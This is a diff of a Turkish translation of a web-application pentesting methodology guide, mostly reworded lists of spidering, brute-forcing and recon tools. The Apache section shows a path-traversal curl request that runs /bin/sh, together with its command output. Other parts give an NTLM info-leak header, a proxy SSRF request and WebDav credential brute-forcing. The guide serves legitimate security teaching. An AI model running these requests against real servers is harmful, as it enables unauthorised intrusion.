-> Bu noktada, istemcinin kullandığı web sunucusu hakkında (veri verildiyse) bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner'lar çalıştırmışsınızdır.
+> Bu noktada, müşteri tarafından kullanılan web sunucusu hakkında (veri verildiyse) zaten bazı bilgilere ve test sırasında akılda tutulması gereken bazı püf noktalarına sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bir scanner çalıştırmışsınızdır.
 
-## Adım adım Web Uygulama Keşfi
+## Adım Adım Web Uygulaması Keşfi
 
 > Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
 
 ### İlk kontroller
 
-**İlginç bilgi içerebilecek varsayılan sayfalar:**
+**İlginç bilgi içeren varsayılan sayfalar:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Ana ve ikincil sayfalardaki yorumları da kontrol edin.
+- Ayrıca ana ve ikincil sayfalardaki yorumları kontrol edin.
 
 **Hataları zorlamak**
 
-Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin açığa çıkmasına** yol açabilir.
+Web sunucuları tuhaf veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **zafiyetlere** veya **hassas bilgilerin ifşasına** yol açabilir.
 
 - /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin
-- **"\[]", "]]", ve "\[\["** ifadelerini **cookie values** ve **parameter** values içine ekleyin, hata oluşturmak için
-- Hata üretmek için input'u URL'nin **sonuna** **`/~randomthing/%s`** olarak verin
-- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın
+- Hata oluşturmak için **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin
+- **URL**'in **sonuna** **`/~randomthing/%s`** gibi bir girdi vererek hata oluşturun
+- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış olanları deneyin
 
 #### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Eğer **WebDav**'in **enabled** olduğunu fakat root klasörüne **uploading files** için yeterli izinleriniz olmadığını görürseniz şunları deneyin:
+Eğer **WebDav**'in **etkin** olduğunu fakat root klasörüne **dosya yükleme** için yeterli izniniz olmadığını tespit ederseniz, şunları deneyin:
 
-- **Brute Force** credentials
-- Web sayfası içindeki bulunan diğer klasörlere **Upload files** via WebDav yapın. Diğer klasörlere dosya yükleme izniniz olabilir.
+- **Brute Force** ile kimlik bilgilerini kırın
+- WebDav ile web sayfasında bulunan diğer klasörlere **dosya yükleyin**. Diğer klasörlere yükleme izniniz olabilir.
 
 ### **SSL/TLS zafiyetleri**
 
-- Uygulama herhangi bir bölümde **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM'e karşı açıktır**
-- Uygulama **hassas verileri (parolalar) HTTP üzerinden gönderiyorsa**, bu yüksek riskli bir zafiyettir.
+- Eğer uygulama herhangi bir kısımda kullanıcıyı **HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'e karşı zayıftır
+- Eğer uygulama **hassas verileri (parolalar) HTTP kullanarak gönderiyorsa**, bu yüksek bir zafiyettir.
 
-Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
+Zafiyetleri kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmez) ve zafiyetleri yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -203,51 +204,51 @@ Information about SSL/TLS vulnerabilities:
 
 ### Spidering
 
-Web uygulaması üzerinde bir çeşit **spider** çalıştırın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca çok yol **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
+Web içinde bir tür **spider** başlatın. Spider'ın amacı test edilen uygulamadan mümkün olduğunca fazla yolu **bulmaktır**. Bu yüzden, web crawling ve dış kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır.
 
 - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org'u harici kaynak olarak kullanır.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider; ayrıca "juicy files" gösterir.
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve harici kaynak olarak Archive.org ile.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
-- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirsiniz; meg her host üzerindeki her path'i çeker ve yanıtı kaydeder.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yetenekli HTML spider. Ancak bakımı yapılmıyor gibi görünüyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor.
-- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları kullanan HTML spider (wayback, otx, commoncrawl).
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Parametre içeren URL'leri bulur ve listeler.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yetenekli HTML spider.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider; JS beautify yetenekleriyle JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) incelenmeye değer.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem gömülü javascript dosyalarından endpoint'leri çıkarmak için. Bug hunters, red teamer'lar ve infosec uzmanları için kullanışlı.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından relatif URL'leri parse etmek için Tornado ve JSBeautifier kullanan python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımı yapılmıyor gibi görünüyor.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) regex kullanarak minified dosyalardan relatif URL'leri bulup çıkarır.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): JS dosyalarından birkaç araç kullanarak ilginç bilgiler toplar.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve yollar içeren bir dosya belirtirsiniz; meg her host üzerindeki her yolu fetch eder ve yanıtı kaydeder.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render etme yeteneklerine sahip HTML spider. Ancak bakılmıyor gibi, ön-derlenmiş sürümü eski ve mevcut kod derlenmiyor.
+- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider.
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametre içeren URL'leri bulur ve listeler.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render etme yeteneklerine sahip HTML spider.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify yetenekleri ile JS dosyalarında yeni yollar arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner)'a bakmaya değer.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem gömülü javascript dosyalarında endpoint'leri çıkarmak için. Bug avcıları, red team ve infosec uzmanları için kullanışlı.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan, JavaScript dosyalarından relative URL'leri parse eden bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için kullanışlı. Bakılmıyor gibi.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) nispi URL'leri çıkarmak için kullanışlı regex ile minify edilmiş dosyalardan URL çıkarır.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birçok araç kullanarak JS dosyalarından ilginç bilgileri toplar.
 - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için kullanılan tüm URL'leri yazdırır.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan içerik keşif aracı.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve parametreleri bulmak için bir Burp extension.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si sayesinde beautified JS kodunu elde eden araç.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Verilen hedef için endpoint'leri keşfetmek amacıyla kullanılan araç.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine'den linkleri keşfeder (wayback'teki yanıtları indirip daha fazla link arar).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve özel regex'lerle hassas bilgi bulur.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Crawler/Spider.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut-satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, fuzzing ve enumeration için özel wordlist oluşturmak amacıyla isteklerden parametreleri ve endpoint'leri çıkarmak üzere basit bir Burp Suite extension'ıdır.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için çağrılan tüm url'leri yazdırır.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan content discovery aracı.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp eklentisi.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'si verildiğinde beautified JS kodunu almanızı sağlayan araç.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmekte kullanılan bir araç.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link keşfi (ayrıca wayback'teki yanıtları indirip daha fazla link arama).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (form doldurarak bile) yapar ve belirli regex'lerle hassas bilgileri de bulur.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web security Crawler/Spider.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, yollar, secret'lar ve diğer ilginç verileri çıkarmak için Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, isteklerden parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için özelleştirilmiş wordlist oluşturur.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Bu iş için harika bir araç.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır.
 
 ### Brute Force directories and files
 
-Kök dizinden **brute-forcing** ile başlayın ve bu yöntemle bulunan tüm dizinleri ve **Spidering** ile keşfedilen tüm dizinleri **brute-force** yaptığınızdan emin olun (bunu **rekürsif** olarak yapabilir ve bulunan dizinlerin adlarını kullanılan wordlist'in başına ekleyebilirsiniz).\
-Tools:
+Kök klasörden **brute-forcing** başlatın ve **tüm** bulunan **directory'leri** bu **method** ile ve **Spidering** tarafından keşfedilen tüm directory'leri **brute-force** ettiğinizden emin olun (bunu **recursive** olarak yapabilir ve kullanılan wordlist'in başına bulunan directory isimlerini ekleyebilirsiniz).\
+Araçlar:
 
-- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Auto-signed sertifikalara izin verir ve recursive arama yapar. Diğer seçeneklere göre çok yavaş.
+- **Dirb** / **Dirbuster** - Kali içinde gelir, **eski** (ve **yavaş**) ama iş görür. Auto-signed sertifikalara ve recursive aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
 - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermez ama recursive aramaya izin verir.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir; **recursive** arama yok.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir, ancak **recursive** arama özelliği **yoktur**.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive aramayı destekler.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil; bulunan URL listesini alıp "çift" URL'leri silen bir araç.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension; farklı sayfaların burp geçmişinden dizin listesi oluşturur.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına göre fonksiyonu tekrar eden URL'leri kaldırır.
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek ve kullanılacak wordlist'leri seçmek için wapalyzer kullanır.
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicate" URL'leri siler.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden directory listesi oluşturmak için Burp Extension.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına dayanarak fonksiyonel olarak duplicate olan URL'leri kaldırır.
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer kullanarak kullanılan teknolojileri tespit eder ve kullanılacak wordlist'leri seçer.
 
 **Recommended dictionaries:**
 
@@ -268,41 +269,41 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin mutlaka brute-force edilmelidir._
+_Her yeni directory spidering veya brute-forcing sırasında keşfedildiğinde, o directory mutlaka Brute-Forced edilmelidir._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki kırık linkleri bulur; takeover'a açık olabilecek linkleri tespit eder.
-- **File Backups**: Tüm dosyaları bulduktan sonra, yürütülebilir dosyaların (".php", ".aspx"...) yedeklerini arayın. Yedekleme için yaygın isimlendirme çeşitleri: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) veya [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz.
-- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) ve [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçlar kullanılabilir. Mümkünse her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulur; bu linkler takeover'a açık olabilir.
+- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek adlandırma için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz.
+- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri aramayı deneyin.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Tüm dosyaların yorumlarını kontrol edin; credential'lar veya gizli fonksiyonlar bulunabilir.
-- Eğer **CTF** oynuyorsanız, yaygın bir hile sayfa kaynağında sayfanın sağ tarafına (çokça boşluk kullanarak) veya sayfanın en altına bir yorum içinde bilgi saklamaktır; tarayıcıda görüntülemek zor olabilir.
-- **API keys**: Bir API key bulursanız, farklı platformlardaki API key'lerin nasıl kullanılacağını gösteren rehberler var: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](<https://github.com/l4yton/RegHex)/>), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: **AIza** ile başlayan bir API key bulursanız (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişimi olduğunu kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
-- **S3 Buckets**: Spidering sırasında herhangi bir subdomain veya link'in bir S3 bucket ile ilişkili olup olmadığını kontrol edin. Böyle bir durum varsa, bucket'ın [**permissions**'ını kontrol edin](buckets/index.html).
+- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **gizli fonksiyonlar** bulunabilir.
+- Eğer **CTF** oynuyorsanız, yaygın bir taktik sayfa kaynağında tarayıcıyla görünmeyecek şekilde (örneğin sağa yüzlerce **space** koyarak) yorum içinde **bilgi saklamak** veya sayfanın en altına birkaç yeni satırla yorum içinde bilgi gizlemek olabilir.
+- **API keys**: Herhangi bir API key bulursanız farklı platformların API key'lerini nasıl kullanacağınıza dair rehberler vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: **AIza** ile başlayan bir API key (ör. **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, bu key'in hangi API'lere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
+- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili ise, bu durumda [**bucket izinlerini kontrol edin**](buckets/index.html).
 
 ### Special findings
 
-**Spidering** ve **brute-forcing** gerçekleştirirken dikkat etmeniz gereken ilginç bulgularla karşılaşabilirsiniz.
+**Spidering** ve **brute-forcing** yaparken **dikkat etmeniz gereken ilginç şeyler** çıkabilir.
 
 **Interesting files**
 
-- CSS dosyaları içinde diğer dosyalara yapılan **link**leri arayın.
-- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
-- Eğer bir _**.env**_ dosyası bulursanız API key'ler, DB parolaları ve diğer bilgileri içerebilir.
-- Eğer **API endpoints** bulursanız bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir ama dosya gibi görünebilirler.
-- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca bulunan her JS dosyasını izlemek ilginç olabilir; bazı durumlarda bir değişiklik kodda yeni bir zafiyetin ortaya çıktığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir.
-- Bulunan JS dosyalarını zafiyet için kontrol etmek üzere [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile tarayın.
+- **CSS** dosyaları içinde diğer dosyalara ait **link**'ler arayın.
+- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgileri çıkarabilirsiniz](git.md)
+- Eğer bir _**.env**_ bulursanız api key'ler, db parolaları ve diğer bilgiler çıkabilir.
+- **API endpoints** bulursanız, bunları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmasalar da büyük ihtimalle dosya gibi "görüneceklerdir".
+- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araçtan bahsedildi. Ayrıca bulunan her JS dosyasını **izlemek** ilginç olabilir; bazı durumlarda bir değişiklik kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir.
+- Keşfedilen JS dosyalarını ayrıca zafiyetler için kontrol etmelisiniz: [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole).
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- Birçok durumda kullanılan regular expression'ları anlamanız gerekir. Bunun için faydalı kaynaklar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
-- Form tespit edilen dosyaları da izleyebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkması potansiyel bir yeni zafiyeti gösterebilir.
+- Çoğu durumda kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı siteler: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
+- Form tespit edilen dosyaları da izleyebilirsiniz; bir parametredeki değişiklik veya yeni bir formun ortaya çıkması potansiyel yeni bir zafiyeti gösterebilir.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,22 +314,21 @@ _Not: Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde,
 
 **502 Proxy Error**
 
-Eğer herhangi bir sayfa bu kodla cevap veriyorsa muhtemelen yanlış yapılandırılmış bir proxy söz konusudur. Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1` (host header ve diğer yaygın header'lar ile), proxy _google.com_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olabilirsiniz.
+Eğer herhangi bir sayfa bu **kod** ile yanıt veriyorsa, muhtemelen kötü yapılandırılmış bir proxy'dir. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'larla), **proxy** _**google.com**_'a erişmeye çalışacak ve bir** SSRF** bulmuş olacaksınız.
 
 **NTLM Authentication - Info disclosure**
 
-Eğer authentication isteyen sunucu **Windows** ise veya domain adı soran bir login görürseniz, bilgi sızması provokasyonu yapılabilir.\
-Şu header'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ında iç ağ bilgilerini (IIS sürümü, Windows sürümü...) döndürebilir.\
-Bunu otomatikleştirmek için nmap plugin'i "_http-ntlm-info.nse_" kullanılabilir.
+Eğer authentication isteyen sunucu **Windows** ise veya oturum açma domain ismi isteyip credentials talep ediyorsa, bir **bilgi sızıntısı** provake edebilirsiniz.\
+Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle sunucu "WWW-Authenticate" header'ı içinde iç ağ bilgileri (IIS versiyonu, Windows versiyonu...) ile cevap verecektir.\
+Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanılabilir.
 
 **HTTP Redirect (CTF)**
 
-Bir Redirection içine içerik koymak mümkündür. Bu içerik kullanıcıya gösterilmeyecektir (tarayıcı yönlendirmeyi uygulayacağı için) ancak içeriğe gizli bilgi yerleştirilebilir.
+Bir **Redirection** içine içerik koymak mümkündür. Bu içerik kullanıcıya **gösterilmeyecektir** (tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **bir şey gizlenmiş** olabilir.
 
 ### Web Vulnerabilities Checking
 
-Web uygulamasının kapsamlı bir enumerate işlemi yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı gelmiştir. Kontrol listesi burada bulunabilir:
-
+Web uygulaması için kapsamlı bir enumeration yapıldıktan sonra birçok olası zafiyet için kontrol zamanı. Kontrol listesi burada:
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
@@ -342,7 +342,7 @@ Web zafiyetleri hakkında daha fazla bilgi:
 
 ### Monitor Pages for changes
 
-Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu sayede yapılacak değişiklikler yeni zafiyetler ekleyebilir.
+Sayfa değişikliklerini izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanılabilir; bu değişiklikler zafiyet eklenmesine yol açabilir.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/apache.md

@@ -4,11 +4,11 @@
 
 ## Çalıştırılabilir PHP uzantıları
 
-Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz:
+Apache sunucusunun hangi PHP uzantılarını çalıştırdığını kontrol edin. Bunları aramak için şu komutu çalıştırabilirsiniz:
 ```bash
 grep -R -B1 "httpd-php" /etc/apache2
 ```
-Ayrıca, bu yapılandırmayı bulabileceğiniz bazı yerler şunlardır:
+Ayrıca, bu yapılandırmayı bulabileceğiniz yerlerden bazıları şunlardır:
 ```bash
 /etc/apache2/mods-available/php5.conf
 /etc/apache2/mods-enabled/php5.conf
@@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 Linux
 ```
-## LFI ile .htaccess ErrorDocument dosya sağlayıcısı (ap_expr)
+## LFI via .htaccess ErrorDocument file provider (ap_expr)
 
